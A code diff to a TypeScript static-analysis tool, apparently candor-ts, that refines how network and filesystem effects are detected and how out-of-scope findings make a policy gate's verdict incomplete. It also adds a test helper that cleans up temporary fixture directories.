+    // and its NAME says whether it is `fetch` — so a renamed `import { fetch as nfn }` is caught too,
+    // where the callee text is `nfn`. `import { fetch } from "./my-mock"` still lands in a project file
+    // and still charges nothing.
+    else if (ts.isIdentifier(callee) && (() => {
+      const sym0 = checker.getSymbolAtLocation(callee);
+      if (!sym0) return false;
+      // WHERE DID IT COME FROM? The module SPECIFIER decides, not file-set membership. A RELATIVE
+      // import is the project's own module by definition; a BARE specifier is a package. Keying on
+      // `projectFiles` instead was wrong and the control caught it: scanning a single FILE leaves a
+      // sibling `./mock` outside the analyzed set, so a project's own mock fabricated Net. The
+      // specifier is the same thing κ classifies on, and it does not move with the scan's shape.
+      for (const d of sym0.declarations ?? []) {
+        const imp = ts.isImportSpecifier(d) ? d.parent?.parent?.parent
+                  : ts.isImportClause(d) ? d.parent
+                  : ts.isNamespaceImport(d) ? d.parent?.parent : null;
+        const spec = imp && ts.isImportDeclaration(imp) ? imp.moduleSpecifier : null;
+        if (spec && ts.isStringLiteralLike(spec)) {
+          if (spec.text.startsWith(".") || spec.text.startsWith("/")) return false;   // the project's own
+          let t = sym0;
+          if (t.flags & ts.SymbolFlags.Alias) { try { t = checker.getAliasedSymbol(t); } catch { /* unresolved */ } }
+          if ((t?.getName?.() ?? callee.text) !== "fetch") return false;
+          // …AND IT MUST BE SHAPED LIKE FETCH. The name alone is not evidence: a package exporting a pure
+          // `fetch(key)` cache-getter was charged Net, and this file's own header says "resolve, don't
+          // pattern-match". The checker already knows the answer — the web API returns `Promise<Response>`,
+          // a cache-getter returns `{ key: string }` — so ask it rather than trusting the identifier.
+          // Only the IMPORT rule is gated this way; the ambient global stays as it was, because it is
+          // lib.dom's `fetch` by definition and would otherwise stop being charged wherever lib.dom is
+          // absent. When no signature resolves at all, this returns false and the call falls through to
+          // the unresolved-import path, which discloses Unknown — never a concrete effect on a guess.
+          const rt = checker.getTypeAtLocation(callee);
+          for (const sg of (rt?.getCallSignatures?.() ?? [])) {
+            if (/\bResponse\b/.test(checker.typeToString(checker.getReturnTypeOfSignature(sg)))) return true;
+          }
+          return false;
+        }
+      }
+      // Not an import at all: the ambient global, unless the project declares its own.
+      if (callee.text !== "fetch") return false;
+      return !(sym0.declarations ?? []).some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
+    })())
       geff = "Net";
     // the fully-qualified global fetch — `globalThis.fetch`/`window.fetch`/`self.fetch` — is a
     // PropertyAccess callee the bare-identifier guard above misses, so it read silent-pure. Mirror the
     // `eval` global-qualifier handling (a runtime global a project would not shadow).
     else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
       geff = "Net";
+    // An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
+    if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
     if (geff) {
       const owner = enclosing(node);
       if (owner) {
@@ -5057,6 +5271,64 @@ function visitCalls(node) {
       const owner = enclosing(node);
       if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add("reflect:require"); }
     }
+    // MODULE RESOLUTION READS THE FILESYSTEM — `require.resolve(m)`, `createRequire(u).resolve(m)`,
+    // `import.meta.resolve(m)`. None of them EXECUTES the module (that is the `require(m)` arm above,
+    // which discloses Unknown), but all three walk directories, read `package.json` files, and throw
+    // MODULE_NOT_FOUND based on what they find: the answer is a function of what is on disk. It read PURE.
+    //
+    // Found by the MONOTONICITY oracle, and only by it: nypm's `doesDependencyExist` reported `Unknown`
+    // with its dependencies absent and NOTHING once they were installed. (Two of that oracle's three
+    // hits were legitimate refinements — consola resolving `string-width`/`strip-ansi` to genuinely pure
+    // functions — so the instrument narrows the search, it does not decide.)
+    //
+    // INCOMPLETE, never a `paths` literal: the argument is a MODULE SPECIFIER, not a path, and the files
+    // actually touched are a directory walk nobody wrote down. Publishing the specifier as a path would
+    // fabricate a location; marking the surface incomplete is the fail-closed posture the masking guard
+    // already takes for a runtime path, and the honest one for a call that reads unpredictable places.
+    // Breadth measured before shipping: 2 of 34 cloned TS packages call these at all.
+    {
+      const ct2 = callee.getText().replace(/\s+/g, "");
+      // SHADOW-GUARDED, like the `require(m)` arm one screen up — which this one originally was not.
+      // Matching on TEXT alone charged Fs for a project's own `const require = { resolve: … }` shim, a
+      // DI-injected `require` parameter, and a function merely NAMED `fakecreateRequire`. That is the
+      // fabrication direction, in a rule whose sibling already carries the guard and says why: "a
+      // project's own `require()` shadow never fabricates". Fixing an instance while its sibling
+      // documents the class is this codebase's recurring failure, so the guard is reused verbatim.
+      // RESOLVE THROUGH THE ALIAS — the same trap the `fetch` guard fell into. `import { createRequire }
+      // from "node:module"` declares an ImportSpecifier IN THE IMPORTING FILE, so a declaration-site test
+      // calls node's own function "the project's", and the first cut of this guard duly dropped the real
+      // `createRequire(u).resolve(n)` to pure. What decides is where the symbol is DEFINED.
+      const notProjectDeclared = (id) => {
+        let sym = checker.getSymbolAtLocation(id);
+        if (!sym) return true;                                  // ambient global (node's `require`)
+        if (sym.flags & ts.SymbolFlags.Alias) {
+          try { sym = checker.getAliasedSymbol(sym); } catch { /* unresolved import — treat as external */ }
+        }
+        const decls = sym?.declarations ?? [];
+        return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
+      };
+      const fromCreateRequire = (expr) => {
+        if (!ts.isIdentifier(expr)) return false;
+        const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
+        if (!d || !ts.isVariableDeclaration(d) || !d.initializer) return false;
+        if (!ts.isCallExpression(d.initializer)) return false;
+        const ce = d.initializer.expression;
+        // The CALLEE'S OWN NAME must be createRequire — `.endsWith` made `fakecreateRequire()` match.
+        const nm = ts.isIdentifier(ce) ? ce.text
+                 : ts.isPropertyAccessExpression(ce) ? ce.name.text : "";
+        if (nm !== "createRequire") return false;
+        return !ts.isIdentifier(ce) || notProjectDeclared(ce);
+      };
+      const modResolve = ct2 === "import.meta.resolve"
+        || (ct2 === "require.resolve" && ts.isPropertyAccessExpression(callee)
+            && ts.isIdentifier(callee.expression) && notProjectDeclared(callee.expression))
+        || (ts.isPropertyAccessExpression(callee) && callee.name.text === "resolve"
+            && fromCreateRequire(callee.expression));
+      if (modResolve) {
+        const owner = enclosing(node);
+        if (owner) { const r = fns.get(owner); r.direct.add("Fs"); r.incomplete.add("Fs"); }
+      }
+    }
     // Object.assign(target, ...sources) copies each SOURCE's own enumerable props → invokes their
     // getters (the object-spread twin). Enumerate the sources' local getters.
     if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
@@ -6374,7 +6646,8 @@ for (const [name, rec] of fns) cg[name] = [...rec.edges].sort();
 const writeAtomic = (file, text) => writeSinkAtomic(file, text);
 // ── ⟨0.29⟩ THE PEEK ───────────────────────────────────────────────────────────────────────────────
 // Read the files this run deliberately did NOT judge, and say so when they hold an effect the policy
-// DENIES. The verdict does not move: `outOfScope` is its own kind and never a violation, because a file
+// DENIES. ⟨0.30⟩ THE VERDICT DOES MOVE — see the exit site below: a non-empty block makes it
+// `ok:false, incomplete:true` at exit 2. It is still never a violation, because a file
 // the gate declined to judge must not decide an exit code.
 //
 // A CHILD `scan.mjs`, not a second analysis path. candor-rust buys this by recursing into `scan_one`;
@@ -6406,7 +6679,11 @@ let peekRead = false;
 const peekUnread = new Set();
 let peekUnattributed = false;
 if (policyPath && excludedFiles.length) {
-  let denied = new Set();
+  // ⟨0.30⟩ HOISTED, because the matcher below needs it. It was a `const` inside the try, so the
+  // evaluatePolicy call added in this rung threw ReferenceError straight into the "a peek that cannot
+  // run must not fail the gate" catch — findings silently empty, gate green. The catch is right; a bug
+  // hiding behind it is not, which is why the trigger below is now a POSITIVE test on the rules.
+  let peekPolicy = null;
   try {
     const pol = parsePolicy(fs.readFileSync(policyPath, "utf8"), {});
     // ⟨0.29⟩ A REFUSED POLICY LEAVES THE KEY ABSENT (SPEC §2). The peek is a producer reading the policy,
@@ -6415,10 +6692,14 @@ if (policyPath && excludedFiles.length) {
     // parser's SALVAGE of an unhonourable file — the rewriting `fatalPolicyErrors` exists to refuse.
     // candor-java already withheld here; this engine, candor-rust and candor-swift did not.
     if (!fatalPolicyErrors(pol.errors).length) {
-      denied = new Set((pol.deny ?? []).flatMap((r) => r.effects ?? []));
+      peekPolicy = pol;
     }
   } catch { /* an unreadable policy is the gate's business to refuse, not the peek's */ }
-  if (denied.size) {
+  // ⟨0.30⟩ THE TRIGGER IS "ARE THERE DENY RULES", not "is the flattened effect-name set non-empty". The
+  // old test read the name set, and `pure` is a deny rule with an EMPTY effect list meaning "every effect
+  // except Unknown" — so under the STRICTEST policy the set was empty, the peek never ran, and the tree
+  // passed at exit 0 while the strictly weaker `deny Exec` exited 2 on the same files. MEASURED four-way.
+  if ((peekPolicy?.deny ?? []).length) {
     outOfScopeFindings = [];
     const peekDir = fs.mkdtempSync(path.join(os.tmpdir(), "candor-ts-peek-"));
     try {
@@ -6449,8 +6730,62 @@ if (policyPath && excludedFiles.length) {
         // all of them claiming completeness.
         if (hit) peekUnread.add(hit.cls); else peekUnattributed = true;
       }
+      // ⟨0.30⟩ THE PEEK ASKS THE GATE'S OWN MATCHER, not a flat set of effect NAMES. §6.2 already
+      // requires it — "THE GATE AND THE DISCLOSURE MUST APPLY THE SAME RULE, AND SHOULD SHARE THE SAME
+      // CODE" — and the name-set approximation was wrong in BOTH directions once ⟨0.30⟩ made this
+      // verdict-bearing (both MEASURED four-way in review):
+      //
+      //   OVER-CHARGE: `deny Net[known-partner]` denies only that destination class, but the name set
+      //   held bare "Net", so a peeked fn fetching an UNKNOWN host — which the rule does not deny —
+      //   turned the verdict red, while the identical code IN scope passed. Rule SCOPES were dropped the
+      //   same way: a layer-scoped `deny Exec server` fired on a test file the scope excludes.
+      //
+      //   UNDER-REPORT: `pure` is a deny rule with an EMPTY effect list, meaning "every effect except
+      //   Unknown". Flattened, it contributed NOTHING, so the denied set was empty and the peek never
+      //   ran — the STRICTEST policy silently disarmed the rung while the strictly weaker `deny Exec`
+      //   exited 2 on the identical tree. A four-way false all-clear.
+      //
+      // Only the DENY rules are handed over: ⟨0.29⟩ bounds this block to "effects that policy DENIES",
+      // and evaluating `allow`/`forbid`/`only` here would widen it past the bound that keeps it quiet.
+      // ⟨0.30⟩ THE PROJECT'S OWN `net-partner` SET, not an empty one. The child scan runs over a temp
+      // tsconfig and never sees the project's `.candor/config`, and this call passed `new Set()` on top of
+      // that — so a `deny Net[known-partner]` peek asked "is this host a declared partner?" against a set
+      // that was always empty. MEASURED both ways: a test file reaching a DECLARED partner answered exit 0
+      // where the same code in scope exits 1 (a false all-clear), and `deny Net[unknown-host]` answered
+      // exit 2 over that same declared partner where in scope it exits 0 (the mirror over-charge).
+      // candor-rust never had this — its peek runs in-process and inherits the config.
+      //
+      // `netClasses` stays null so the resolver recomputes each entry's class from the `hosts` the child
+      // DID capture, against these partners — the child's own `netClass` was computed partner-blind and
+      // must not be trusted here.
+      // ⟨0.30⟩ MATCH SCOPES AGAINST A PROJECT-RELATIVE QUALIFIER, not the child's. The child scan runs
+      // under a temp-directory tsconfig, so its `fn` is derived from THAT root — an absolute dotted path.
+      // Handing those to the matcher made a rule's SCOPE match segments of the checkout directory: on a
+      // tree at `…/fresh/src/execa`, `deny Net src` armed the peek while binding nothing in scope, so the
+      // verdict depended on where the repo happened to be cloned. CI checkouts live under names nobody
+      // chose (Bitbucket uses `agent/build`), which makes that a verdict decided by infrastructure.
+      //
+      // The project-relative path is already known here — it is what this run disclosed as excluded — and
+      // the finding below is already named from it. The MATCHER must see the same thing the FINDING does.
+      const relQual = (f) => {
+        const childLoc = (f.loc ?? "").split(":")[0] ?? "";
+        const hit = excludedFiles.find((e) => childLoc.endsWith(e.path)
+                                           || childLoc.endsWith(path.basename(e.path)));
+        if (!hit) return f.fn;
+        const stem = hit.path.replace(/\.[cm]?[jt]sx?$/, "").split(path.sep).join(".");
+        const leaf = f.fn.split(".").pop() ?? f.fn;
+        return `${stem}.${leaf}`;
+      };
+      const peekEntries = (doc.functions ?? []).map((f) => ({ ...f, fn: relQual(f) }));
+      const peekViolations = evaluatePolicy({ ...peekPolicy, allow: [], forbid: [], only: [] },
+                                            peekEntries, {}, new Map(), netPartners, null, null);
+      const deniedByFn = new Map();
+      for (const v of peekViolations) {
+        if (!deniedByFn.has(v.fn)) deniedByFn.set(v.fn, new Set());
+        for (const e of v.effects ?? []) deniedByFn.get(v.fn).add(e);
+      }
       for (const f of doc.functions ?? []) {
-        const hits = (f.inferred ?? []).filter((e) => denied.has(e));
+        const hits = [...(deniedByFn.get(relQual(f)) ?? [])].sort();
         if (!hits.length) continue;
         // NAME IT FROM THE PROJECT, NOT FROM THE CHILD'S TEMP ROOT. The child's tsconfig lives in a
         // temp directory, so it derives module qualifiers from THAT root and the fn came out as a
@@ -6465,7 +6800,9 @@ if (policyPath && excludedFiles.length) {
         outOfScopeFindings.push({
           fn: f.fn.split(".").pop() ?? f.fn, path: where, effects: hits, class: cls,
           reason: `OUTSIDE this scan's scope (${cls}) — the gate did NOT judge it. `
-                + "The effect is real; the verdict does not account for it.",
+                + "candor's ANALYSIS of that file reaches this effect; the gate did not judge it, so "
+                + "the verdict is INCOMPLETE rather than a pass. (An analysis result, not a claim about "
+                + "what the code does at runtime — see the release notes' known over-charge.)",
         });
       }
       outOfScopeFindings.sort((a, b) => (a.path + a.fn).localeCompare(b.path + b.fn));
@@ -6489,7 +6826,7 @@ if (outOfScopeFindings) {
     if (f.path) console.error(`             ${f.path}`);
   }
   if (outOfScopeFindings.length) {
-    console.error("             The verdict does not account for "
+    console.error("             The verdict below is INCOMPLETE because of "
       + (outOfScopeFindings.length === 1 ? "it." : `these ${outOfScopeFindings.length}.`));
   }
 }
@@ -7084,7 +7421,14 @@ if (gateJsonPath) {
   // must NOT read green — those effects are invisible, so a `deny`/`pure` that "passes" over them is a
   // false-pure. `ok` requires BOTH no violation AND a complete analysis. `analyzed:{count}` (Gap 1) mirrors
   // the report envelope so a --gate-json consumer sees the scan's scope from the verdict alone.
-  const incomplete = unanalyzedUnits.length > 0;
+  // ⟨0.30⟩ THE SECOND CAUSE OF INCOMPLETENESS — a peeked function performs an effect the policy DENIES.
+  // ⟨0.29⟩ required the verdict NOT to move here, on the assumption the peek surfaces uncertainty a gate
+  // may decline to act on. It does not: measured on published 0.29.1 the peek resolves a CONCRETE denied
+  // effect and names the function (axios 37 × `performs Net`, exit 0, `policy ✓`). Reported through
+  // `incomplete`, never through `violations`, because the gate did not JUDGE these units — see the exit
+  // site below for why that makes the code 2 and not 1.
+  const scopeIncomplete = Array.isArray(outOfScopeFindings) && outOfScopeFindings.length > 0;
+  const incomplete = unanalyzedUnits.length > 0 || scopeIncomplete;
   const verdictObj = { spec: SPEC_VERSION, ok: gateViolations.length === 0 && !incomplete,
                        analyzed: { count: fns.size } };
   // ⟨0.24⟩ the vocabulary file that moved the verdict, in the SAME position `gate --report` puts it, because
@@ -7116,8 +7460,14 @@ if (gateJsonPath) {
   // incomplete:true is honest — never a fabricated pass. OMITTED when complete (byte-compatible verdict).
   if (incomplete) {
     verdictObj.incomplete = true;
-    verdictObj.unanalyzed = unanalyzedUnits.map((u) => ({ path: u.path, reason: u.reason }));
-  }
+    if (unanalyzedUnits.length)
+      verdictObj.unanalyzed = unanalyzedUnits.map((u) => ({ path: u.path, reason: u.reason }));
+  }
+  // ⟨0.30⟩ …and WHICH functions made it incomplete, in the machine channel. The same array the report
+  // carries, so `gate --report` re-emits it from the report and §3.1 byte-equality holds by construction —
+  // this is the anchor the `net-partner` attempt lacked. Omitted when empty, so a clean verdict is
+  // byte-identical to a pre-⟨0.30⟩ one.
+  if (scopeIncomplete) verdictObj.outOfScope = outOfScopeFindings;
   // ⟨0.15 staged⟩ coverage ADVISORY (COVERAGE-DESIGN.md §3): when the κ ledger is non-empty, the
   // verdict discloses what the gate could NOT see — VERDICT-PRESERVING (the ⟨0.9⟩ provable-purity
   // auto-disclosure precedent exactly): ok/violations/exit are computed above and untouched here. A
@@ -7157,5 +7507,21 @@ if (gateConfigured && unanalyzedUnits.length) {
   console.error(`candor-ts: gate NOT certified — ${unanalyzedUnits.length} source file(s) could not be analyzed (see above); a gate cannot be green over unanalyzed code`);
   process.exit(2);
 }
+// ⟨0.30⟩ THE SCOPE HALF OF THE SAME POSTURE. `unanalyzed` above is "I opened this file and could not read
+// it"; this is "I never opened it, and when I looked afterwards it performed the effect you denied". Both
+// mean the same thing to a consumer — the gate could not see enough of this tree to certify it — so both
+// are exit 2.
+//
+// EXIT 2, NOT 1, DELIBERATELY: these functions are not in `violations` and not in `functions`, because the
+// gate did not judge them. Exit 1 would claim "I judged your code and it breaks the policy", which is
+// false in the other direction. Exit 2 says "I could not see enough to answer", which is what happened.
+// A real violation (exit 1, above) still dominates: certain beats unevaluable.
+if (gateConfigured && Array.isArray(outOfScopeFindings) && outOfScopeFindings.length) {
+  const n = outOfScopeFindings.length;
+  console.error(`candor-ts: gate NOT certified — ${n} function(s) OUTSIDE this scan's scope perform an `
+    + `effect this policy denies (named above); the gate did not judge them, so the verdict is `
+    + `incomplete rather than a pass`);
+  process.exit(2);
+}
 if (policyPath !== null) console.error("candor-ts: policy ✓");
 if (baselinePath !== null && fs.existsSync(baselinePath)) console.error("candor-ts: baseline ✓"); // absent = inactive (noted above)

package/scratch.mjs

@@ -0,0 +1,58 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+
+// Scratch directories for the harnesses, removed when the run ends.
+//
+// WHY THIS EXISTS. Every harness here made fixture trees with a bare `fs.mkdtempSync` and removed none
+// of them. Measured 2026-08-14: 46,919 `candor-*` directories in $TMPDIR, ~7,300 of them from test.mjs's
+// `project()` alone, which mints one per fixture and is called ~1,300 times a run. It is not only
+// untidy — it made a single `candor-swift privacy-manifest --verify` take 72 seconds, because listing
+// the plist's ancestor meant listing all of $TMPDIR. The engine side of that was fixed in 2026-08-07;
+// this is the side that keeps refilling the directory.
+//
+// KEPT ON FAILURE, DELIBERATELY. A failing assertion prints the path to its fixture tree, and deleting
+// it on the way out would remove the evidence at exactly the moment someone needs it. `keepOnFailure()`
+// lets a harness say "this run failed" and the trees survive, with a line saying where they are.
+// Success is the common case and the one that accumulates.
+//
+// SIGINT/SIGTERM are handled because the killed-mid-run case was the obvious contributor — though 46,919
+// is not all killed runs.
+const made = [];
+let keep = false;
+
+export function scratch(prefix) {
+  const d = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
+  made.push(d);
+  return d;
+}
+
+/** Call before exiting when the run FAILED — the trees are evidence, so they stay. */
+export function keepOnFailure() { keep = true; }
+
+function sweep() {
+  if (keep) {
+    if (made.length) console.log(`  (${made.length} fixture tree(s) kept for inspection under ${os.tmpdir()})`);
+    return;
+  }
+  for (const d of made) { try { fs.rmSync(d, { recursive: true, force: true }); } catch { /* best effort */ } }
+  made.length = 0;
+}
+
+process.on("exit", sweep);
+// An uncaught throw still runs `exit` handlers — with `keep` false, so a harness that dies mid-assertion
+// would sweep away the very trees whose paths the crash just printed. Treat any abnormal end as failure.
+for (const ev of ["uncaughtException", "unhandledRejection"]) {
+  process.on(ev, (e) => { keepOnFailure(); console.error(e); process.exit(1); });
+}
+// A signal does NOT run `exit` handlers on its own, which is the killed-mid-run leak. Re-raise after
+// sweeping so the exit status still reflects the signal rather than becoming a clean 0.
+//
+// `removeAllListeners` FIRST, and it is the whole trick: installing a listener REPLACES Node's default
+// disposition for that signal, so `process.kill(process.pid, sig)` re-enters this same handler. The
+// first version of this shipped without it and made the harness unkillable — Ctrl-C swept, re-signalled,
+// swept, forever, and a second Ctrl-C did not help either. Removing the listener restores the default,
+// so the re-raise terminates with the right status.
+for (const sig of ["SIGINT", "SIGTERM", "SIGHUP"]) {
+  process.on(sig, () => { sweep(); process.removeAllListeners(sig); process.kill(process.pid, sig); });
+}